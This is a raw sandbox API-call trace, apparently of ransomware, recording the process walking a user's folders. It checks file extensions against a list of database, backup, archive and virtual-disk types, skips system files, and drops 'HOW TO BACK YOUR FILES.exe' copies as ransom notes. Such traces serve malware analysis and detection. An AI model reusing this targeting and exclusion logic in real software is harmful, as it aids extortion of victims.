	[0050.388] lstrcmpiW (lpString1="lst", lpString2="dbt") returned 1
	[0050.389] lstrlenW (lpString="dbv") returned 3
	[0050.389] lstrcmpiW (lpString1="lst", lpString2="dbv") returned 1
	[0050.389] lstrlenW (lpString="dbx") returned 3
	[0050.389] lstrcmpiW (lpString1="lst", lpString2="dbx") returned 1
	[0050.389] lstrlenW (lpString="dcb") returned 3
	[0050.389] lstrcmpiW (lpString1="lst", lpString2="dcb") returned 1
	[0050.389] lstrlenW (lpString="dct") returned 3
	[0050.389] lstrcmpiW (lpString1="lst", lpString2="dct") returned 1
	[0050.389] lstrlenW (lpString="dcx") returned 3
	[0050.389] lstrcmpiW (lpString1="lst", lpString2="dcx") returned 1
	[0050.389] lstrlenW (lpString="ddl") returned 3
	[0050.389] lstrcmpiW (lpString1="lst", lpString2="ddl") returned 1
	[0050.389] lstrlenW (lpString="dlis") returned 4
	[0050.389] lstrcmpiW (lpString1=".lst", lpString2="dlis") returned -1
	[0050.389] lstrlenW (lpString="dp1") returned 3
	[0050.389] lstrcmpiW (lpString1="lst", lpString2="dp1") returned 1
	[0050.389] lstrlenW (lpString="dqy") returned 3
	[0050.389] lstrcmpiW (lpString1="lst", lpString2="dqy") returned 1
	[0050.389] lstrlenW (lpString="dsk") returned 3
	[0050.389] lstrcmpiW (lpString1="lst", lpString2="dsk") returned 1
	[0050.389] lstrlenW (lpString="dsn") returned 3
	[0050.389] lstrcmpiW (lpString1="lst", lpString2="dsn") returned 1
	[0050.390] lstrlenW (lpString="dtsx") returned 4
	[0050.390] lstrcmpiW (lpString1=".lst", lpString2="dtsx") returned -1
	[0050.390] lstrlenW (lpString="dxl") returned 3
	[0050.390] lstrcmpiW (lpString1="lst", lpString2="dxl") returned 1
	[0050.390] lstrlenW (lpString="eco") returned 3
	[0050.390] lstrcmpiW (lpString1="lst", lpString2="eco") returned 1
	[0050.390] lstrlenW (lpString="ecx") returned 3
	[0050.390] lstrcmpiW (lpString1="lst", lpString2="ecx") returned 1
	[0050.390] lstrlenW (lpString="edb") returned 3
	[0050.390] lstrcmpiW (lpString1="lst", lpString2="edb") returned 1
	[0050.390] lstrlenW (lpString="epim") returned 4
	[0050.390] lstrcmpiW (lpString1=".lst", lpString2="epim") returned -1
	[0050.390] lstrlenW (lpString="fcd") returned 3
	[0050.390] lstrcmpiW (lpString1="lst", lpString2="fcd") returned 1
	[0050.390] lstrlenW (lpString="fdb") returned 3
	[0050.390] lstrcmpiW (lpString1="lst", lpString2="fdb") returned 1
	[0050.390] lstrlenW (lpString="fic") returned 3
	[0050.390] lstrcmpiW (lpString1="lst", lpString2="fic") returned 1
	[0050.390] lstrlenW (lpString="flexolibrary") returned 12
	[0050.390] lstrcmpiW (lpString1="ECache11.lst", lpString2="flexolibrary") returned -1
	[0050.390] lstrlenW (lpString="fm5") returned 3
	[0050.390] lstrcmpiW (lpString1="lst", lpString2="fm5") returned 1
	[0050.390] lstrlenW (lpString="fmp") returned 3
	[0050.390] lstrcmpiW (lpString1="lst", lpString2="fmp") returned 1
	[0050.390] lstrlenW (lpString="fmp12") returned 5
	[0050.390] lstrcmpiW (lpString1="1.lst", lpString2="fmp12") returned -1
	[0050.390] lstrlenW (lpString="fmpsl") returned 5
	[0050.390] lstrcmpiW (lpString1="1.lst", lpString2="fmpsl") returned -1
	[0050.390] lstrlenW (lpString="fol") returned 3
	[0050.390] lstrcmpiW (lpString1="lst", lpString2="fol") returned 1
	[0050.390] lstrlenW (lpString="fp3") returned 3
	[0050.390] lstrcmpiW (lpString1="lst", lpString2="fp3") returned 1
	[0050.390] lstrlenW (lpString="fp4") returned 3
	[0050.390] lstrcmpiW (lpString1="lst", lpString2="fp4") returned 1
	[0050.390] lstrlenW (lpString="fp5") returned 3
	[0050.391] lstrcmpiW (lpString1="lst", lpString2="fp5") returned 1
	[0050.391] lstrlenW (lpString="fp7") returned 3
	[0050.391] lstrcmpiW (lpString1="lst", lpString2="fp7") returned 1
	[0050.391] lstrlenW (lpString="fpt") returned 3
	[0050.391] lstrcmpiW (lpString1="lst", lpString2="fpt") returned 1
	[0050.391] lstrlenW (lpString="frm") returned 3
	[0050.391] lstrcmpiW (lpString1="lst", lpString2="frm") returned 1
	[0050.391] lstrlenW (lpString="gdb") returned 3
	[0050.391] lstrcmpiW (lpString1="lst", lpString2="gdb") returned 1
	[0050.391] lstrlenW (lpString="gdb") returned 3
	[0050.391] lstrcmpiW (lpString1="lst", lpString2="gdb") returned 1
	[0050.391] lstrlenW (lpString="grdb") returned 4
	[0050.391] lstrcmpiW (lpString1=".lst", lpString2="grdb") returned -1
	[0050.391] lstrlenW (lpString="gwi") returned 3
	[0050.391] lstrcmpiW (lpString1="lst", lpString2="gwi") returned 1
	[0050.391] lstrlenW (lpString="hdb") returned 3
	[0050.391] lstrcmpiW (lpString1="lst", lpString2="hdb") returned 1
	[0050.391] lstrlenW (lpString="his") returned 3
	[0050.391] lstrcmpiW (lpString1="lst", lpString2="his") returned 1
	[0050.391] lstrlenW (lpString="ib") returned 2
	[0050.391] lstrcmpiW (lpString1="st", lpString2="ib") returned 1
	[0050.391] lstrlenW (lpString="idb") returned 3
	[0050.391] lstrcmpiW (lpString1="lst", lpString2="idb") returned 1
	[0050.391] lstrlenW (lpString="ihx") returned 3
	[0050.391] lstrcmpiW (lpString1="lst", lpString2="ihx") returned 1
	[0050.391] lstrlenW (lpString="itdb") returned 4
	[0050.391] lstrcmpiW (lpString1=".lst", lpString2="itdb") returned -1
	[0050.391] lstrlenW (lpString="itw") returned 3
	[0050.391] lstrcmpiW (lpString1="lst", lpString2="itw") returned 1
	[0050.391] lstrlenW (lpString="jet") returned 3
	[0050.391] lstrcmpiW (lpString1="lst", lpString2="jet") returned 1
	[0050.391] lstrlenW (lpString="jtx") returned 3
	[0050.391] lstrcmpiW (lpString1="lst", lpString2="jtx") returned 1
	[0050.391] lstrlenW (lpString="kdb") returned 3
	[0050.391] lstrcmpiW (lpString1="lst", lpString2="kdb") returned 1
	[0050.392] lstrlenW (lpString="kexi") returned 4
	[0050.392] lstrcmpiW (lpString1=".lst", lpString2="kexi") returned -1
	[0050.392] lstrlenW (lpString="kexic") returned 5
	[0050.392] lstrcmpiW (lpString1="1.lst", lpString2="kexic") returned -1
	[0050.392] lstrlenW (lpString="kexis") returned 5
	[0050.392] lstrcmpiW (lpString1="1.lst", lpString2="kexis") returned -1
	[0050.392] lstrlenW (lpString="lgc") returned 3
	[0050.392] lstrcmpiW (lpString1="lst", lpString2="lgc") returned 1
	[0050.392] lstrlenW (lpString="lwx") returned 3
	[0050.392] lstrcmpiW (lpString1="lst", lpString2="lwx") returned -1
	[0050.392] lstrlenW (lpString="maf") returned 3
	[0050.392] lstrcmpiW (lpString1="lst", lpString2="maf") returned -1
	[0050.392] lstrlenW (lpString="maq") returned 3
	[0050.392] lstrcmpiW (lpString1="lst", lpString2="maq") returned -1
	[0050.392] lstrlenW (lpString="mar") returned 3
	[0050.392] lstrcmpiW (lpString1="lst", lpString2="mar") returned -1
	[0050.392] lstrlenW (lpString="marshal") returned 7
	[0050.392] lstrcmpiW (lpString1="e11.lst", lpString2="marshal") returned -1
	[0050.392] lstrlenW (lpString="mas") returned 3
	[0050.392] lstrcmpiW (lpString1="lst", lpString2="mas") returned -1
	[0050.392] lstrlenW (lpString="mav") returned 3
	[0050.392] lstrcmpiW (lpString1="lst", lpString2="mav") returned -1
	[0050.392] lstrlenW (lpString="maw") returned 3
	[0050.392] lstrcmpiW (lpString1="lst", lpString2="maw") returned -1
	[0050.392] lstrlenW (lpString="mdbhtml") returned 7
	[0050.392] lstrcmpiW (lpString1="e11.lst", lpString2="mdbhtml") returned -1
	[0050.392] lstrlenW (lpString="mdn") returned 3
	[0050.392] lstrcmpiW (lpString1="lst", lpString2="mdn") returned -1
	[0050.392] lstrlenW (lpString="mdt") returned 3
	[0050.392] lstrcmpiW (lpString1="lst", lpString2="mdt") returned -1
	[0050.392] lstrlenW (lpString="mfd") returned 3
	[0050.392] lstrcmpiW (lpString1="lst", lpString2="mfd") returned -1
	[0050.392] lstrlenW (lpString="mpd") returned 3
	[0050.392] lstrcmpiW (lpString1="lst", lpString2="mpd") returned -1
	[0050.392] lstrlenW (lpString="mrg") returned 3
	[0050.393] lstrcmpiW (lpString1="lst", lpString2="mrg") returned -1
	[0050.393] lstrlenW (lpString="mud") returned 3
	[0050.393] lstrcmpiW (lpString1="lst", lpString2="mud") returned -1
	[0050.393] lstrlenW (lpString="mwb") returned 3
	[0050.393] lstrcmpiW (lpString1="lst", lpString2="mwb") returned -1
	[0050.393] lstrlenW (lpString="myd") returned 3
	[0050.393] lstrcmpiW (lpString1="lst", lpString2="myd") returned -1
	[0050.393] lstrlenW (lpString="ndf") returned 3
	[0050.393] lstrcmpiW (lpString1="lst", lpString2="ndf") returned -1
	[0050.393] lstrlenW (lpString="nnt") returned 3
	[0050.393] lstrcmpiW (lpString1="lst", lpString2="nnt") returned -1
	[0050.393] lstrlenW (lpString="nrmlib") returned 6
	[0050.393] lstrcmpiW (lpString1="11.lst", lpString2="nrmlib") returned -1
	[0050.393] lstrlenW (lpString="ns2") returned 3
	[0050.393] lstrcmpiW (lpString1="lst", lpString2="ns2") returned -1
	[0050.393] lstrlenW (lpString="ns3") returned 3
	[0050.393] lstrcmpiW (lpString1="lst", lpString2="ns3") returned -1
	[0050.393] lstrlenW (lpString="ns4") returned 3
	[0050.393] lstrcmpiW (lpString1="lst", lpString2="ns4") returned -1
	[0050.393] lstrlenW (lpString="nsf") returned 3
	[0050.393] lstrcmpiW (lpString1="lst", lpString2="nsf") returned -1
	[0050.393] lstrlenW (lpString="nv") returned 2
	[0050.393] lstrcmpiW (lpString1="st", lpString2="nv") returned 1
	[0050.393] lstrlenW (lpString="nv2") returned 3
	[0050.393] lstrcmpiW (lpString1="lst", lpString2="nv2") returned -1
	[0050.393] lstrlenW (lpString="nwdb") returned 4
	[0050.393] lstrcmpiW (lpString1=".lst", lpString2="nwdb") returned -1
	[0050.393] lstrlenW (lpString="nyf") returned 3
	[0050.393] lstrcmpiW (lpString1="lst", lpString2="nyf") returned -1
	[0050.393] lstrlenW (lpString="odb") returned 3
	[0050.393] lstrcmpiW (lpString1="lst", lpString2="odb") returned -1
	[0050.393] lstrlenW (lpString="odb") returned 3
	[0050.393] lstrcmpiW (lpString1="lst", lpString2="odb") returned -1
	[0050.393] lstrlenW (lpString="oqy") returned 3
	[0050.393] lstrcmpiW (lpString1="lst", lpString2="oqy") returned -1
	[0050.394] lstrlenW (lpString="ora") returned 3
	[0050.394] lstrcmpiW (lpString1="lst", lpString2="ora") returned -1
	[0050.394] lstrlenW (lpString="orx") returned 3
	[0050.394] lstrcmpiW (lpString1="lst", lpString2="orx") returned -1
	[0050.394] lstrlenW (lpString="owc") returned 3
	[0050.394] lstrcmpiW (lpString1="lst", lpString2="owc") returned -1
	[0050.394] lstrlenW (lpString="p96") returned 3
	[0050.394] lstrcmpiW (lpString1="lst", lpString2="p96") returned -1
	[0050.394] lstrlenW (lpString="p97") returned 3
	[0050.394] lstrcmpiW (lpString1="lst", lpString2="p97") returned -1
	[0050.394] lstrlenW (lpString="pan") returned 3
	[0050.394] lstrcmpiW (lpString1="lst", lpString2="pan") returned -1
	[0050.394] lstrlenW (lpString="pdb") returned 3
	[0050.394] lstrcmpiW (lpString1="lst", lpString2="pdb") returned -1
	[0050.394] lstrlenW (lpString="pdm") returned 3
	[0050.394] lstrcmpiW (lpString1="lst", lpString2="pdm") returned -1
	[0050.394] lstrlenW (lpString="pnz") returned 3
	[0050.394] lstrcmpiW (lpString1="lst", lpString2="pnz") returned -1
	[0050.394] lstrlenW (lpString="qry") returned 3
	[0050.394] lstrcmpiW (lpString1="lst", lpString2="qry") returned -1
	[0050.394] lstrlenW (lpString="qvd") returned 3
	[0050.394] lstrcmpiW (lpString1="lst", lpString2="qvd") returned -1
	[0050.394] lstrlenW (lpString="rbf") returned 3
	[0050.394] lstrcmpiW (lpString1="lst", lpString2="rbf") returned -1
	[0050.394] lstrlenW (lpString="rctd") returned 4
	[0050.394] lstrcmpiW (lpString1=".lst", lpString2="rctd") returned -1
	[0050.394] lstrlenW (lpString="rod") returned 3
	[0050.394] lstrcmpiW (lpString1="lst", lpString2="rod") returned -1
	[0050.394] lstrlenW (lpString="rodx") returned 4
	[0050.394] lstrcmpiW (lpString1=".lst", lpString2="rodx") returned -1
	[0050.394] lstrlenW (lpString="rpd") returned 3
	[0050.394] lstrcmpiW (lpString1="lst", lpString2="rpd") returned -1
	[0050.394] lstrlenW (lpString="rsd") returned 3
	[0050.394] lstrcmpiW (lpString1="lst", lpString2="rsd") returned -1
	[0050.394] lstrlenW (lpString="sas7bdat") returned 8
	[0050.395] lstrcmpiW (lpString1="he11.lst", lpString2="sas7bdat") returned -1
	[0050.395] lstrlenW (lpString="sbf") returned 3
	[0050.395] lstrcmpiW (lpString1="lst", lpString2="sbf") returned -1
	[0050.395] lstrlenW (lpString="scx") returned 3
	[0050.395] lstrcmpiW (lpString1="lst", lpString2="scx") returned -1
	[0050.395] lstrlenW (lpString="sdb") returned 3
	[0050.395] lstrcmpiW (lpString1="lst", lpString2="sdb") returned -1
	[0050.395] lstrlenW (lpString="sdc") returned 3
	[0050.395] lstrcmpiW (lpString1="lst", lpString2="sdc") returned -1
	[0050.395] lstrlenW (lpString="sdf") returned 3
	[0050.395] lstrcmpiW (lpString1="lst", lpString2="sdf") returned -1
	[0050.395] lstrlenW (lpString="sis") returned 3
	[0050.395] lstrcmpiW (lpString1="lst", lpString2="sis") returned -1
	[0050.395] lstrlenW (lpString="spq") returned 3
	[0050.395] lstrcmpiW (lpString1="lst", lpString2="spq") returned -1
	[0050.395] lstrlenW (lpString="te") returned 2
	[0050.395] lstrcmpiW (lpString1="st", lpString2="te") returned -1
	[0050.395] lstrlenW (lpString="teacher") returned 7
	[0050.395] lstrcmpiW (lpString1="e11.lst", lpString2="teacher") returned -1
	[0050.395] lstrlenW (lpString="tmd") returned 3
	[0050.395] lstrcmpiW (lpString1="lst", lpString2="tmd") returned -1
	[0050.395] lstrlenW (lpString="tps") returned 3
	[0050.395] lstrcmpiW (lpString1="lst", lpString2="tps") returned -1
	[0050.395] lstrlenW (lpString="trc") returned 3
	[0050.395] lstrcmpiW (lpString1="lst", lpString2="trc") returned -1
	[0050.395] lstrlenW (lpString="trc") returned 3
	[0050.395] lstrcmpiW (lpString1="lst", lpString2="trc") returned -1
	[0050.395] lstrlenW (lpString="trm") returned 3
	[0050.395] lstrcmpiW (lpString1="lst", lpString2="trm") returned -1
	[0050.396] lstrlenW (lpString="udb") returned 3
	[0050.396] lstrcmpiW (lpString1="lst", lpString2="udb") returned -1
	[0050.396] lstrlenW (lpString="udl") returned 3
	[0050.396] lstrcmpiW (lpString1="lst", lpString2="udl") returned -1
	[0050.396] lstrlenW (lpString="usr") returned 3
	[0050.396] lstrcmpiW (lpString1="lst", lpString2="usr") returned -1
	[0050.396] lstrlenW (lpString="v12") returned 3
	[0050.396] lstrcmpiW (lpString1="lst", lpString2="v12") returned -1
	[0050.396] lstrlenW (lpString="vis") returned 3
	[0050.396] lstrcmpiW (lpString1="lst", lpString2="vis") returned -1
	[0050.396] lstrlenW (lpString="vpd") returned 3
	[0050.396] lstrcmpiW (lpString1="lst", lpString2="vpd") returned -1
	[0050.396] lstrlenW (lpString="vvv") returned 3
	[0050.396] lstrcmpiW (lpString1="lst", lpString2="vvv") returned -1
	[0050.396] lstrlenW (lpString="wdb") returned 3
	[0050.396] lstrcmpiW (lpString1="lst", lpString2="wdb") returned -1
	[0050.396] lstrlenW (lpString="wmdb") returned 4
	[0050.396] lstrcmpiW (lpString1=".lst", lpString2="wmdb") returned -1
	[0050.396] lstrlenW (lpString="wrk") returned 3
	[0050.396] lstrcmpiW (lpString1="lst", lpString2="wrk") returned -1
	[0050.396] lstrlenW (lpString="xdb") returned 3
	[0050.396] lstrcmpiW (lpString1="lst", lpString2="xdb") returned -1
	[0050.396] lstrlenW (lpString="xld") returned 3
	[0050.396] lstrcmpiW (lpString1="lst", lpString2="xld") returned -1
	[0050.396] lstrlenW (lpString="xmlff") returned 5
	[0050.396] lstrcmpiW (lpString1="1.lst", lpString2="xmlff") returned -1
	[0050.396] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x361a2bd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x361a2bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.396] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.396] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0050.396] lstrcmpiW (lpString1="Profiles", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.396] lstrcmpiW (lpString1="Profiles", lpString2="Apollon865.txt.exe") returned 1
	[0050.396] lstrcmpiW (lpString1="Profiles", lpString2=".") returned 1
	[0050.396] lstrcmpiW (lpString1="Profiles", lpString2="..") returned 1
	[0050.396] lstrcmpiW (lpString1="Profiles", lpString2="windows") returned -1
	[0050.396] lstrcmpiW (lpString1="Profiles", lpString2="bootmgr") returned 1
	[0050.397] lstrcmpiW (lpString1="Profiles", lpString2="temp") returned -1
	[0050.397] lstrcmpiW (lpString1="Profiles", lpString2="pagefile.sys") returned 1
	[0050.397] lstrcmpiW (lpString1="Profiles", lpString2="boot") returned 1
	[0050.397] lstrcmpiW (lpString1="Profiles", lpString2="ids.txt") returned 1
	[0050.397] lstrcmpiW (lpString1="Profiles", lpString2="ntuser.dat") returned 1
	[0050.397] lstrcmpiW (lpString1="Profiles", lpString2="perflogs") returned 1
	[0050.397] lstrcmpiW (lpString1="Profiles", lpString2="MSBuild") returned 1
	[0050.397] lstrlenW (lpString="Profiles") returned 8
	[0050.397] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 70
	[0050.397] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Profiles" | out: lpString1="Profiles") returned="Profiles"
	[0050.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0050.397] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b90d8
	[0050.397] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0050.397] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0
	[0050.397] FindClose (in: hFindFile=0x5ca410 | out: hFindFile=0x5ca410) returned 1
	[0050.397] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0050.397] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles"
	[0050.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0050.397] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0050.397] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles") returned 64
	[0050.397] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles"
	[0050.397] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.397] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.401] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.401] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x361c8d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x361c8d30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.401] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.401] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.401] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.401] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x361c8d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x361c8d30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.401] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.401] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.401] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.401] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.401] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x361c8d30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x361c8d30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.401] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.401] FindNextFileW (in: hFindFile=0x5ca410, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1
	[0050.401] lstrcmpiW (lpString1="wscRGB.icc", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.401] lstrcmpiW (lpString1="wscRGB.icc", lpString2="Apollon865.txt.exe") returned 1
	[0050.402] lstrcmpiW (lpString1="wscRGB.icc", lpString2=".") returned 1
	[0050.402] lstrcmpiW (lpString1="wscRGB.icc", lpString2="..") returned 1
	[0050.402] lstrcmpiW (lpString1="wscRGB.icc", lpString2="windows") returned 1
	[0050.402] lstrcmpiW (lpString1="wscRGB.icc", lpString2="bootmgr") returned 1
	[0050.402] lstrcmpiW (lpString1="wscRGB.icc", lpString2="temp") returned 1
	[0050.402] lstrcmpiW (lpString1="wscRGB.icc", lpString2="pagefile.sys") returned 1
	[0050.402] lstrcmpiW (lpString1="wscRGB.icc", lpString2="boot") returned 1
	[0050.402] lstrcmpiW (lpString1="wscRGB.icc", lpString2="ids.txt") returned 1
	[0050.402] lstrcmpiW (lpString1="wscRGB.icc", lpString2="ntuser.dat") returned 1
	[0050.402] lstrcmpiW (lpString1="wscRGB.icc", lpString2="perflogs") returned 1
	[0050.402] lstrcmpiW (lpString1="wscRGB.icc", lpString2="MSBuild") returned 1
	[0050.402] lstrlenW (lpString="wscRGB.icc") returned 10
	[0050.402] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*") returned 66
	[0050.402] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="wscRGB.icc" | out: lpString1="wscRGB.icc") returned="wscRGB.icc"
	[0050.402] lstrlenW (lpString="wscRGB.icc") returned 10
	[0050.402] lstrlenW (lpString="Apollon865") returned 10
	[0050.402] lstrlenW (lpString=".dll") returned 4
	[0050.402] lstrcmpiW (lpString1="wscRGB.icc", lpString2=".dll") returned 1
	[0050.402] lstrlenW (lpString=".lnk") returned 4
	[0050.402] lstrcmpiW (lpString1="wscRGB.icc", lpString2=".lnk") returned 1
	[0050.402] lstrlenW (lpString=".ini") returned 4
	[0050.402] lstrcmpiW (lpString1="wscRGB.icc", lpString2=".ini") returned 1
	[0050.402] lstrlenW (lpString=".sys") returned 4
	[0050.402] lstrcmpiW (lpString1="wscRGB.icc", lpString2=".sys") returned 1
	[0050.402] lstrlenW (lpString="wscRGB.icc") returned 10
	[0050.402] lstrlenW (lpString="bak") returned 3
	[0050.402] lstrcmpiW (lpString1="icc", lpString2="bak") returned 1
	[0050.402] lstrlenW (lpString="ba_") returned 3
	[0050.402] lstrcmpiW (lpString1="icc", lpString2="ba_") returned 1
	[0050.402] lstrlenW (lpString="dbb") returned 3
	[0050.402] lstrcmpiW (lpString1="icc", lpString2="dbb") returned 1
	[0050.402] lstrlenW (lpString="vmdk") returned 4
	[0050.402] lstrcmpiW (lpString1=".icc", lpString2="vmdk") returned -1
	[0050.402] lstrlenW (lpString="rar") returned 3
	[0050.402] lstrcmpiW (lpString1="icc", lpString2="rar") returned -1
	[0050.403] lstrlenW (lpString="zip") returned 3
	[0050.403] lstrcmpiW (lpString1="icc", lpString2="zip") returned -1
	[0050.403] lstrlenW (lpString="tgz") returned 3
	[0050.403] lstrcmpiW (lpString1="icc", lpString2="tgz") returned -1
	[0050.403] lstrlenW (lpString="vbox") returned 4
	[0050.403] lstrcmpiW (lpString1=".icc", lpString2="vbox") returned -1
	[0050.403] lstrlenW (lpString="vdi") returned 3
	[0050.403] lstrcmpiW (lpString1="icc", lpString2="vdi") returned -1
	[0050.403] lstrlenW (lpString="vhd") returned 3
	[0050.403] lstrcmpiW (lpString1="icc", lpString2="vhd") returned -1
	[0050.403] lstrlenW (lpString="vhdx") returned 4
	[0050.403] lstrcmpiW (lpString1=".icc", lpString2="vhdx") returned -1
	[0050.403] lstrlenW (lpString="avhd") returned 4
	[0050.403] lstrcmpiW (lpString1=".icc", lpString2="avhd") returned -1
	[0050.403] lstrlenW (lpString="db") returned 2
